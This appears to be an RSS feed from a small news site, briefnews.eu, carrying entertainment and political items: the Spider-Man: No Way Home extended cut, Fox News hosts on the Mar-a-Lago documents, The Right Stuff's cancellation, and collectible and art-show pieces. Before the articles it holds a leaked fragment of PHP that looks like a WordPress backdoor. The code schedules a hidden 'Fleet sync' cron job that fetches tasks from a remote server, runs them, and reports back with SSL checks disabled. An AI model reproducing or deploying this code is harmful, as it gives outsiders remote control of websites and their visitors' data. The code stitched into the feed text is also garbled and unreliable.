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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stuff – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 03 Sep 2022 03:19:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png stuff – Brief News https://briefnews.eu 32 32 What’s new in Spider-Man: No Way Home’s More Fun Stuff Version https://briefnews.eu/whats-new-in-spider-man-no-way-homes-more-fun-stuff-version/ https://briefnews.eu/whats-new-in-spider-man-no-way-homes-more-fun-stuff-version/#respond Sat, 03 Sep 2022 03:19:17 +0000 https://briefnews.eu/whats-new-in-spider-man-no-way-homes-more-fun-stuff-version/ Spider-Man: No Way Home has swung back into theaters with the release of its extended cut, “The More Fun Stuff Version.” Featuring 11 minutes of extra content, this longer film is a treat for audiences who enjoyed the original superhero blockbuster.

Overall, the movie’s additional footage doesn’t add any crucial details to the plot, as it’s mainly bits of comedy sprinkled into the mix for the audience’s enjoyment. Despite that, “The More Fun Stuff Version” makes for a fun cinematic experience that fans of the Marvel Cinematic Universe will want to see. For those considering seeing this new edition of the film, here’s a list of notable changes audiences will want to look out for in theaters. Obviously, the following contains spoilers, but you wouldn’t be here if you didn’t know that, right?

Opening Chat

Andrew Garfield, Tom Holland, and Tobey Magure behind the scenes of Spider-Man: No Way Home.

Audiences are immediately presented with new content before this film even begins. Before the studio logos appear in the movie’s opening, Tom Holland, Tobey Maguire, and Andrew Garfield show up on-screen in a Zoom recording to address the audience. Their conversation ends with Tom and Tobey telling Andrew they love him as a delayed reply to his character’s declaration of love in the film. Andrew even jokes that he had waited months for them to say it to him, making for a terrific moment for the three Web-Heads.

The Awkward Elevator Ride

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In this brief moment, audiences see Peter and May riding an elevator up to Happy’s apartment with Norman, Otto, Max, and Flint. It’s not a particularly impactful scene, but it’s funny, nevertheless. The fact that all these strange and superpowered beings (plus Aunt May) wait in uncomfortable silence together makes them much more relatable, encapsulating the MCU’s comedic marriage between the peculiar and the mundane.

More Peter Interactions

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Fans couldn’t get enough of all three Spider-Men interacting with each other on-screen in No Way Home. In the film’s longer cut, they are shown at the Statue of Liberty talking more about Tobey’s organic web-shooters work, with Andrew’s web-slinger saying that he wants to see the holes in the former’s arms. They also discuss all the fantastical events in their lives, such as fighting aliens, and how they consider them normal in their lives as superheroes.

Back to School

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Following the revelation that Peter Parker is Spider-Man, audiences see more of how that affects his life at school now that everyone sees him as a superpowered celebrity. For example, they all chant for him to climb up the walls in the school gym. Betty Brant also interviews Peter’s teachers and friends about him, with Flash and Mr. Harrington lying about their relationships with him and Betty having an awkward conversation with her ex-boyfriend, Ned. Betty even interviews Peter himself, asking a ridiculous question about what he would say to the spider who bit him.

Stopping a Robbery

Tom Holland's Spider-man poses unmasked, preparing to fight the Green Goblin.

Tom Holland’s younger brother, Harry, had appeared in the film as a robber in one scene that was removed from the original cut, and audiences now get to see how it played out. After Peter strings up the burglar with his web, Peter gets into a hilarious argument with a few bystanders who argue over whether or not he was old enough to fight crime and if he was in cahoots with the robber. After the criminal in question lies about working with Spider-Man, one of Mysterio’s fanatics throws green paint on the web-slinger as a form of protest.

The Monster Mash

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A new montage is included in the film that shows Peter, MJ, and Ned setting up their workspace in the Undercroft to search for more villains from other universes, with Ned hilariously making a mess of everything. This comedic scene plays to the sound of “Monster Mash,” which perfectly fits its strange and mystical setting. It is also made even more bizarre when MJ finds a model of the Sanctum Sanctorum with a tiny Doctor Strange moving around inside.

Happy and Daredevil

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Aside from the other Spider-Men and the film’s villains, one of the film’s beloved guest stars was Charlie Cox’s Matt Murdock (a.k.a. Daredevil). He appeared early in the film defending Peter as his lawyer, but in the original film, he only had one scene. In the new version, Murdock is also seen with Happy Hogan talking to Damage Control. Though it appears Happy is in the clear regarding his connection to the Stark drone attack in London, he gets a video on his phone showing Peter and May entering his apartment with the villains they’re trying to cure. Of course, Happy gets sweaty as he’s dragged right back into the fire.

More Damage Control

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This film’s extended cut also features a longer version of Peter’s interrogation by Damage Control. Digging more into Peter’s past as Spider-Man, one of his interrogators asks him what he knows about “Night Monkey,” the fake persona Peter adopted while wearing his black suit in Far From Home. In the end, one Damage Control worker suggests that Peter’s greatest enemy is historical landmarks, which seems to be Marvel Studios making fun of itself over how they have all of Spidey’s greatest battles occur in places like the Washington Monument and the London Bridge. This is made even funnier when considering that the film’s explosive climax takes place at the Statue of Liberty. And speaking of which…

The New Statue of Liberty

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One notable change in the MCU came in the form of the giant replica of Captain America’s shield outfitted onto the Statue of Liberty. The new version of the film focuses more on this remodeling of the iconic landmark, with Midtown High even having students make their own models of what they think the statue should look like. This includes an unnerving shot of a student presenting his model of the statue as Mysterio, clearly showing that he’s another one of Quentin Beck’s zealous followers.

A Second Post-Credits Scene

Tom Holland in Spider-Man: No Way Home.

Fans have wondered precisely how Doctor Strange’s spell wipes all evidence and memory of Peter Parker’s existence, and the film’s new post-credits scene helps alleviate some of the confusion. The sequence involves Betty presenting a graduation video on the school news that looks back at all the fun times she and her friends had together in high school. But while Peter was present at these events, her photos show that he has either been removed or blocked from view, which shows in greater detail how Strange’s spell affected any traces of Peter ever existing.

It will take a while before audiences how Spider-Man handles a world without Peter Parker, but for now, this new version of the film should help bridge the gap for waiting fans.

See Spider-Man: No Way Home – The More Fun Stuff Version, now in theaters.

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Former President Donald Trump slammed the "Fox & Friends" show in July, saying that it had "gone to the dark side."

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  • Fox News host Peter Doocy wondered aloud why Trump kept "all that secret stuff at Mar-a-Lago."
  • Doocy said he couldn't recall any president "carting off" so many files during their time in office.
  • He also questioned why Trump didn't simply hand the documents over, given their classified nature.

"Fox & Friends" host Steve Doocy is the latest media ally of former President Donald Trump to call him out over the FBI's search of Mar-a-Lago. 

During a Wednesday episode of the show, Doocy asked South Dakota Gov. Kristi Noem, another Trump ally, for her take on the Mar-a-Lago raid — but not before wondering aloud why Trump didn't hand over the documents to the government and instead took them to Florida home.

"Well, ultimately it comes down to — why did he have all that secret stuff at Mar-a-Lago?" Doocy asked.

He referenced Trump's claim about declassifying the files through a standing order and pointed out that this defense didn't hold up as the supposed move was also "news to the agencies that those documents belong to." 

"He had, apparently, three classified documents in his desk," Doocy said, referring to the DOJ's court filing on the raid.

Doocy also referred to a photo released by the DOJ of the top-secret documents found at Mar-a-Lago.

"It shows five yellow folders marked 'top secret,' and another one with that says 'secret SCI' which means 'sensitive compartmentalized information,'" Doocy said. "Those are the biggest secrets in the world."

Noem attempted to defend Trump, calling for more transparency in the DOJ's investigation. However, Doocy sidestepped her argument and stated: "I don't think any President has ever carted off that many documents to their house after they left the presidency."

Doocy is just one of many members of Rupert Murdoch's media empire who appear to have shifted their stance on supporting Trump in recent weeks. Earlier this month, Fox News host Eric Shawn asked aloud during a live broadcast if Trump could have tried to "sell or share" classified information with Russia or Saudi Arabia. 

In July, Trump also expressed his unhappiness with "Fox & Friends," a talk show he was known to do nearly weekly calls with during his presidency. In a Truth Social post, he called the talk show "terrible" and said it had "gone to the dark side" after Doocy questioned his poll numbers.

These rumblings from Fox News hosts may signal a shift in Murdoch's empire's attitude toward Trump. This week, for one, the former president raged against the Murdoch-owned New York Post over an opinion piece it published titled "Republicans are lucky to have Mitch McConnell: Trump's gripes are beyond ridiculous." 

The Post also denounced Trump in an editorial piece in July, calling him "unworthy to be this country's chief executive again." Additionally, the Wall Street Journal — another Murdoch-owned publication — called Trump "The President Who Stood Still on Jan. 6" while praising former Vice President Mike Pence.

Meanwhile, the FBI is investigating whether Trump broke three federal laws, including the Espionage Act, by keeping classified documents at Mar-a-Lago. The agency removed 11 sets of classified documents — some of which were marked top secret and concerned nuclear weapons, according to The Washington Post — from the property while executing a search warrant on August 8.

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The Right Stuff‘s astronauts have been grounded by mission control: Disney+ has cancelled the space drama after just one season, according to our sister site Deadline. Producers Warner Bros. Television are reportedly shopping the series to other networks, though, with TNT and HBO Max said to be in the mix.

An adaptation of Tom Wolfe’s 1979 book, the Nat Geo-produced series chronicles the early days of the United States’ NASA program and the lives of America’s first astronauts, who became known as the Mercury Seven. The first season starred Patrick J. Adams (Suits) as John Glenn, Jake McDorman (Limitless) as Alan Shepard and Colin O’Donoghue (Once Upon a Time) as Gordon “Gordo” Cooper, who all hoped to become the first American man in space. The rest of the Mercury Seven were filled out by Scott Carpenter (One Tree Hill‘s James Lafferty), Wally Schirra (Mad Men‘s Aaron Staton), Gus Grissom (Underground‘s Michael Trotter) and Deke Slayton (Escape at Dannemora‘s Micah Stock).

The cast also featured Patrick Fischler (Happy!) and Eric Ladin (Bosch) as NASA leaders Bob Gilruth and Chris Kraft, respectively. Nora Zehetner (Grey’s Anatomy), Shannon Lucio (The O.C.) and Eloise Mumford (Chicago Fire) portrayed astronaut wives.

The Season 1 finale, which was released on Nov. 20, told the story of Shepard’s successful Freedom Seven flight on May 5, 1961, after which President Kennedy challenged the U.S. to land a man on the moon by the end of the decade.

TVLine’s Streaming Renewal Scorecard has been updated with the news. Hit the comments with your reactions!

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]]> https://briefnews.eu/the-right-stuff-cancelled-at-disney/feed/ 0 Patrick J. Adams Suiting Up as Astronaut John Glenn for National Geographic Series The Right Stuff https://briefnews.eu/patrick-j-adams-suiting-up-as-astronaut-john-glenn-for-national-geographic-series-the-right-stuff/ https://briefnews.eu/patrick-j-adams-suiting-up-as-astronaut-john-glenn-for-national-geographic-series-the-right-stuff/#respond Fri, 31 May 2019 17:47:35 +0000 http://briefnews.eu/patrick-j-adams-suiting-up-as-astronaut-john-glenn-for-national-geographic-series-the-right-stuff/

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Patrick J. Adams‘ next TV workplace will have a slightly different dress code. The former Suits star — who recently left the USA Network drama after seven seasons — will play Maj. John Glenn in National Geographic’s The Right Stuff, based on Tom Wolfe’s 1979 non-fiction book of the same name. Glenn was famously the first American to orbit the Earth in 1962.

According to a release from National Geographic, “The first season of The Right Stuff, which uses Wolfe’s book as its starting point, starts at the height of the Cold War. To combat a national sentiment of fear and decline, the U.S. government conceives of NASA’s Project Mercury, igniting a space race with the Soviets and making instant celebrities of a handful of the military’s adrenaline-fueled test pilots. These individuals, who come to be known as the Mercury Seven, are forged into heroes long before they have achieved a single heroic act. At the heart of a historic drama populated by deeply human characters, two arch-rivals — Glenn and Shepard — jockey to be the first man in space.”

Beyond that, “subsequent seasons of The Right Stuff will carry through to the epochal Apollo Space Program, where humankind saw one of its greatest achievements — man setting foot on the moon — and missions beyond.”

Mark Lafferty (Castle Rock) will serve as showrunner, executive-producing alongside Leonardo DiCaprio, Jennifer Davisson and Will Staples. David Nutter (Game of Thrones) will direct and executive-produce the first episode. Michael Hampton is also involved via Appian Way.

Your thoughts on Adams as Glenn? The Right Stuff in general? Drop ’em in a comment below.

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]]> https://briefnews.eu/patrick-j-adams-suiting-up-as-astronaut-john-glenn-for-national-geographic-series-the-right-stuff/feed/ 0 Cool Stuff: Grab NECA’s New Michael Myers Figure from ‘Halloween’ 2018, You Know, For Christmas https://briefnews.eu/cool-stuff-grab-necas-new-michael-myers-figure-from-halloween-2018-you-know-for-christmas/ https://briefnews.eu/cool-stuff-grab-necas-new-michael-myers-figure-from-halloween-2018-you-know-for-christmas/#respond Thu, 13 Dec 2018 14:20:57 +0000 http://briefnews.eu/cool-stuff-grab-necas-new-michael-myers-figure-from-halloween-2018-you-know-for-christmas/ NECA Halloween 2018 Michael Myers Action Figure

It’s not exactly in the spirit of Christmas to get excited about an action figure of one of the most notorious slashers from the big screen. But this new action figure of Michael Myers from the recent Halloween revival directed by David Gordon Green is just too perfect not to highlight as a potential Christmas gift for the horror fanatic in your life.

The Halloween 2018 Michael Myers action figure comes from NECA, and he comes with all the right accessories, including a cute little jack o’ lantern and all the right weapons he uses throughout the movie. Check it out and find out where you can get it below.

NECA Halloween 2018 Michael Myers Action Figure

NECA Halloween 2018 Michael Myers Action Figure
NECA Halloween 2018 Michael Myers Action Figure

NECA Halloween 2018 Michael Myers Action Figure

NECA Halloween 2018 Michael Myers Action Figure
NECA Halloween 2018 Michael Myers Action Figure

Michael Myers returns to NECA’s action figure line!

Based on his appearance in the thrilling new Halloween movie, this all new Michael stands over 7” tall and has received the Ultimate treatment, with over 25 points of articulation and tons of accessories. The Ultimate Michael Myers figure comes with 2 heads, knife, hammer, jack o’ lantern, interchangeable hands and more.

Comes in display-friendly deluxe window box packaging with opening flap.

Notice that Michael Myers also comes with the makeshift jack o’ lantern that he makes out of the head of one of the cops posted outside Laurie Strode’s house towards the end of the movie. And when you think about it, that’s one of the most maniacal things he’s ever done. Michael Myers stopped his pursuit of Laurie Strode to take a man’s head, scoop everything out of it, and stuck a flashlight inside of it. Gruesome.

Anyway, you can grab the NECA Halloween 2018 Michael Myers action figure directly from the NECA eBay Store and the NECA Amazon Store right now for $ 27.99 plus shipping, and it will arrive before Christmas. Merry Halloween!

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]]> https://briefnews.eu/cool-stuff-grab-necas-new-michael-myers-figure-from-halloween-2018-you-know-for-christmas/feed/ 0 Cool Stuff: Gallery 1988’s ‘Lost Days’ Art Show Honors ‘Wayne’s World’, ‘Dumb & Dumber’, & More https://briefnews.eu/cool-stuff-gallery-1988s-lost-days-art-show-honors-waynes-world-dumb-dumber-more/ https://briefnews.eu/cool-stuff-gallery-1988s-lost-days-art-show-honors-waynes-world-dumb-dumber-more/#respond Mon, 10 Dec 2018 14:14:05 +0000 http://briefnews.eu/cool-stuff-gallery-1988s-lost-days-art-show-honors-waynes-world-dumb-dumber-more/ Gallery 1988 Lost Days Art Show

Gallery 1988 debuted a new art show over the weekend featuring works from Jeff Boyes and Dan Mumford, each of them honoring some beloved films from decades past. Jeff Boyes focuses on films like Wayne’s World, Gleaming the Cube, and Dumb & Dumber. Meanwhile, Dan Mumford tackled the likes of The Crow, Terminator and First Blood. But both of them did their own tribute to Bill & Ted’s Excellent Adventure.

Check out some of our favorite pieces from the Gallery 1988 Lost Days art show below.

Jeff Boyes – Lost Days Artwork

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Jeff Boyes - Lost Days - Gleaming the Cube

Jeff Boyes - Lost Days - Bill & Ted's Excellent Adventure

Jeff Boyes - Lost Days - Wayne's World

First up, Jeff Boyes did these detailed pieces commemorating iconic locations and moments from the likes of Wayne’s World, Gleaming the Cube, Dumb & Dumber and Bill & Ted’s Excellent Adventure. I love the style of these prints simply because they’re made for people who recognize what they’re looking at without needing a movie title on the print. These prints are for true fans of these movies.

But Jeff Boyes also paid tribute to all four of those movies in a much different way. He created these blueprint style prints featuring the signature vehicles of the characters in each of those movies.

Jeff Boyes - Lost Days - Dumb & Dumber
Jeff Boyes - Lost Days - Wayne's World
Jeff Boyes - Lost Days - Bill & Ted's Excellent Adventure
Jeff Boyes - Lost Days - Gleaming the Cube

There’s the Mirthmobile from Wayne’s World, the metal skateboard from Gleaming the Cube, the mini-scooter from Dumb & Dumber, and the time traveling phone booth from Bill & Ted’s Excellent Adventure.

Dan Mumford – Lost Days Artwork

Dan Mumford - Lost Days - Terminator
Dan Mumford - Lost Days - First Blood
Dan Mumford - Lost Days - Bill & Ted's Excellent Adventure
Dan Mumford - Lost Days - The Crow

Meanwhile, Dan Mumford brings his trademark style to the films The Crow, Terminator, First Blood and Bill & Ted’s Excellent Adventure. His vibrant colors and wild illustration style give new life to even the most familiar movies, making them look like animated heavy metal music videos that are perpetually engulfed in colorful flames.

If you’re a video game fan, you’ll want to check out the rest of Mumford’s artwork honoring Mortal Kombat, Metroid, Castlevania and other classics.

All of these prints are available for purchase right now over at the Gallery 1988 online shop for the Lost Days art show. Each of the prints vary in size, price, and edition size, but you can find out more about that at the shop website.

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]]> https://briefnews.eu/cool-stuff-gallery-1988s-lost-days-art-show-honors-waynes-world-dumb-dumber-more/feed/ 0 Cool Stuff: ‘Empire Strikes Back’ Crew Jacket Will Keep You Warm, Doesn’t Smell Bad on the Outside https://briefnews.eu/cool-stuff-empire-strikes-back-crew-jacket-will-keep-you-warm-doesnt-smell-bad-on-the-outside/ https://briefnews.eu/cool-stuff-empire-strikes-back-crew-jacket-will-keep-you-warm-doesnt-smell-bad-on-the-outside/#respond Fri, 07 Dec 2018 14:07:18 +0000 http://briefnews.eu/cool-stuff-empire-strikes-back-crew-jacket-will-keep-you-warm-doesnt-smell-bad-on-the-outside/ The Empire Strikes Back Crew Jacket

Among hardcore Star Wars fans, there is one coveted item from the production of the original trilogy that is a rare artifact. No, we’re not talking about any props from the set, even though those are highly sought after items. Instead, we’re talking about a winter jacket given to crew members who worked on the Norwegian set of The Empire Strikes Back on the location that was used to represent the ice planet Hoth.

Normally, getting your hands on one of these original jackets will cost you thousands of dollars, but thankfully, Columbia Sportswear is releasing an updated replica of the jacket that costs significantly less. It’s still a bit of a salty pricetag, but it’s a small amount to pay to show your true Star Wars fandom and to keep warm without cutting open an innocent tauntaun.

Check out The Empire Strikes Back crew jacket below.

Columbia’s The Empire Strikes Back Crew Jacket

The Empire Strikes Back Crew Jacket
The Empire Strikes Back Crew Jacket
The Empire Strikes Back Crew Jacket
The Empire Strikes Back Crew Jacket

The Empire Strikes Back crew jacket from Columbia isn’t an exact replica of the original. Instead, designer Leigh Roundy told StarWars.com:

“It was important to us to make something that felt authentic but not necessarily a direct replica, that had that Columbia appeal. We wanted to make a true, functional piece of outerwear. It was a fun challenge to maintain the overall feel and heart of the original design, but bring it into 2018 with Columbia’s technologies and fabrications.”

Winter coat technology has changed plenty since the original coats were handed out in 1979, so that makes sense. So this jacket is waterproof, breathable, and features a seam-sealed outer layer, along with the company’s patented inner Omni-Heat thermal-reflective lining and insulation. It also features a removable, adjustable hood with removable faux-fur trim, two-way collar, ribbed comfort cuffs, wrist zips, and multifunctional pockets.

But the important details are the patches, which was maybe the most important thing to get right about the jacket:

The Empire Strikes Back Crew Jacket

The Empire Strikes Back Crew Jacket
The Empire Strikes Back Crew Jacket

Now for the bad news. If you want to get The Empire Strikes Back crew jacket, it’ll cost you $ 500. They went on sale at 12am ET overnight at the Columbia website and at select Columbia retail locations in the United States, Canada, Europe, China, Hong Kong, Japan and, Korea. Hit the website to see if they’re still online or check your local Columbia store to see if there are any left:

The Empire Strikes Back Crew Jacket

Or if you’ve got some extra money to spend, Mark Hamill has signed 30 of these jackets that will sell for $ 1,980 at Columbia-branded retail locations in New York, NY, Buena Vista, FL, Downtown Portland Flagship, OR, and Seattle, WA. All proceeds go to college access programs and scholarships, so it’s for a good cause.

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]]> https://briefnews.eu/cool-stuff-empire-strikes-back-crew-jacket-will-keep-you-warm-doesnt-smell-bad-on-the-outside/feed/ 0 ‘PC stuff is getting ridiculous’: Radio stations axe Christmas classic due to #MeToo concerns https://briefnews.eu/pc-stuff-is-getting-ridiculous-radio-stations-axe-christmas-classic-due-to-metoo-concerns/ https://briefnews.eu/pc-stuff-is-getting-ridiculous-radio-stations-axe-christmas-classic-due-to-metoo-concerns/#respond Mon, 03 Dec 2018 19:28:57 +0000 http://briefnews.eu/pc-stuff-is-getting-ridiculous-radio-stations-axe-christmas-classic-due-to-metoo-concerns/

Many consider it a Christmas classic but radio stations are refusing to play the song ‘Baby It’s Cold Outside’ because it’s lyrics have run afoul of the #MeToo movement. However fans are now pushing back against the banishment.

The yule-tide favorite was originally recorded for the 1949 film Neptune’s Daughter and it went on to scoop an Oscar in the Best Original Song category. It’s been a feature of the festive season every year since. However its days may be numbered because campaigners allege that it propagates rape culture.

Its lyrics feature a man playfully appealing to his female guest to stay the night so she will avoid the snowstorm that’s blowing outside and critics allege that it has a “rapey” vibe.

The song has been covered by numerous artists since the original 1949 version. Among many others it has been performed by Rod Stewart and Dolly Parton, Ray Charles and Betty Carter and Tony Bennett and Lady Gaga.

A radio station in Cleveland, Ohio is in the headlines after it axed the hit from its playlist following complaints from listeners and a Christmas-focused station in Ireland has followed suit, saying its listeners had also raised concerns.

The Cleveland-based Star 102 station announced its decision to stop playing the song in recent days. Host Glenn Anderson explained the decision in a blog post. “We used to play the song ‘Baby It’s Cold Outside,’ but you’re the Christmas Executive Officer at Star 102 and you told us it’s no longer appropriate,” Anderson wrote. “I gotta be honest, I didn’t understand why the lyrics were so bad… Until I read them.”

Meanwhile the co-founder of Ireland’s Christmas FM told TheJournal.ie that station is axing the song because the lyrics “are of a different era.”

The president of the Cleveland Rape Crisis Center, Sondra Miller, supported the stations’ decision. “The character in the song is saying, ‘No,’ and they’re saying well, ‘Does no really mean yes?’ and I think in 2018, what we know is consent is ‘Yes’ and if you get a ‘No’ it means ‘No’ and you should stop right there,” she told local news outlet WJW-TV.

However, the stance seems to be at odds with the vast majority of the station’s listenership, at least if a Facebook poll can be believed, as a ballot on the station’s page shows that more than 90 percent of people think the song should be played.

Many wondered what songs might next be slapped on to the banned list. “I guess you should stop playing Santa Baby, I Saw Mommy Kissing Santa and Grandma Got Run Over By A Reindeer because people think those are offensive too. This PC stuff is getting ridiculous, play whatever if people don’t like it they will turn the knob. You will never please everyone 100%,” commenter Michelle Nicola wrote.

Another woman added: “I’m actually part of the me too movement, and a survivor. I can only speak for my own experience, but personally I adore this song and have never been offended by it or freaked out by it.

I do not believe it’s about rape – it’s a playful banter from a time when a woman would have been concerned people would think badly of her for staying, even if she wanted to. I’m glad my husband and I will be enjoying it on our holiday playlist.

Unsurprisingly the controversial banning has sparked an outpouring of reaction on social media.

Others interpreted the lyrics as meaning that the woman wanted to stay over but she was prevented from expressing that desire because of the misogynistic attitudes held towards women and sexuality at the time.

Comedian and feminist Jen Kirkman said on Twitter: “The song seems odd now not [because] it’s about coercing sex but about a woman who knows her reputation is ruined if she stays. ‘Say what’s in this drink is an old movie line from the 30s that means ‘I’m telling the truth.’ She wanted to get down and stay over.

“He is offering her an excuse she can use. ‘But it’s cold outside.’ And she’s explaining to him that excuse doesn’t work when you’re a woman who has to deal with what the neighbors think. The song has a lot to teach us about how society views women’s sexuality.”

Many people pointed out an apparent contradiction in riling against Baby It’s Cold Outside but not raising objections to other popular songs.

As is often the case in an intense social media debate many others just decided to mock all sides by telling jokes.

So what do you think. Should stations ban the song?

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]]> https://briefnews.eu/pc-stuff-is-getting-ridiculous-radio-stations-axe-christmas-classic-due-to-metoo-concerns/feed/ 0 Video: The people who helped make Star Control 2 did a ton of other stuff https://briefnews.eu/video-the-people-who-helped-make-star-control-2-did-a-ton-of-other-stuff/ https://briefnews.eu/video-the-people-who-helped-make-star-control-2-did-a-ton-of-other-stuff/#respond Fri, 26 Oct 2018 14:27:31 +0000 http://briefnews.eu/video-the-people-who-helped-make-star-control-2-did-a-ton-of-other-stuff/

Video shot by Sean Dacaney and edited by Evan Watkin. Click here for transcript.

Earlier this week, we brought you our War Stories interview with Star Control & Star Control 2 creators Fred Ford and Paul Reiche III, wherein the two designers discussed issues that almost derailed the games during their development. But our talk with the Two Guys from Frungytown spanned several hours—and gave us plenty of fuel for at least two more videos.

As our conversation with Paul and Fred went on, they kept name-dropping the most amazing folks who contributed to SC2—people like Starflight’s Greg Johnson, Dungeons and Dragons artist Erol Otis, and Star Wars concept designer Iain McCaig. It became obvious that much like Alejandro Jodorowski’s aborted fever-dream Dune project, SC2’s development was built upon the work of a tremendous collection of absurdly talented people. Those folks have dispersed throughout the gaming industry and done fantastic work, acting like leavening in bread. (A big difference between SC2 and Jodorowski’s Dune, of course, is that SC2 actually made it out of production.)

The video we’ve made out of this set of anecdotes is titled “Six Degrees of StarCon.” We’ve pulled out a few of the most influential names involved in SC2 and looked at where they came from, what they contributed, and what else they worked on. There’s a lot of fascinating history in here—and, as it turns out, Star Control 2 might just be the closest gaming analog to Kevin Bacon. Or at least to Paul Erdős.

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]]> https://briefnews.eu/video-the-people-who-helped-make-star-control-2-did-a-ton-of-other-stuff/feed/ 0 Cool Stuff: Gallery 1988’s Latest Show Features Fictional Products from Movies & Television https://briefnews.eu/cool-stuff-gallery-1988s-latest-show-features-fictional-products-from-movies-television/ https://briefnews.eu/cool-stuff-gallery-1988s-latest-show-features-fictional-products-from-movies-television/#respond Mon, 15 Oct 2018 13:32:16 +0000 http://briefnews.eu/cool-stuff-gallery-1988s-latest-show-features-fictional-products-from-movies-television/ Gallery 1988 Production Placement 2018

Some movies and TV shows are so iconic that even the fake products from them become well known. That’s why Gallery 1988 put together a second edition of their Product Placement show honoring some of the most beloved fake products from film and television.

For the Gallery 1988 Product Placement 2018 show, artists like Danny Haas, Dave Perillo, Doug LaRocca, Joel Hunter, Jen Taylor, Nathan Ebersole, Ryan Brinkerhoff and many more creating posters, advertisements and more pay tribute to things like the Remembrall from Harry Potter, Snake Juice from Parks and Recreation, the night vision goggles from Jurassic Park and much more.

Gallery 1988 Product Placement Art

Gallery 1988 Production Placement 2018
Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018
Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018
Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018
Gallery 1988 Production Placement 2018

Gallery 1988 Production Placement 2018

Frankly, I’m amazed that there hasn’t been a piece like the one above for the Zoltar wish-granting machine from Big. Meanwhile, the Cones of Dunshire from Parks and Recreation gets a Dungeons & Dragons style players guide, and the vacuum haircut machine known as the Suck Kut from Wayne’s World sucks your will to live. Plus, it’s October, so there’s no better time to pick up some special masks from Nichols Hardware for Halloween.

These are just some of our favorite pieces from the new show, all of which are for sale right now from the Gallery 1988 website. The edition sizes vary from piece to piece, as does the price of each print and the size as well. As of now, almost all the prints are still for sale, but if there’s one that catches your eye, you’ll want to go pick it up right away so you don’t miss your chance.

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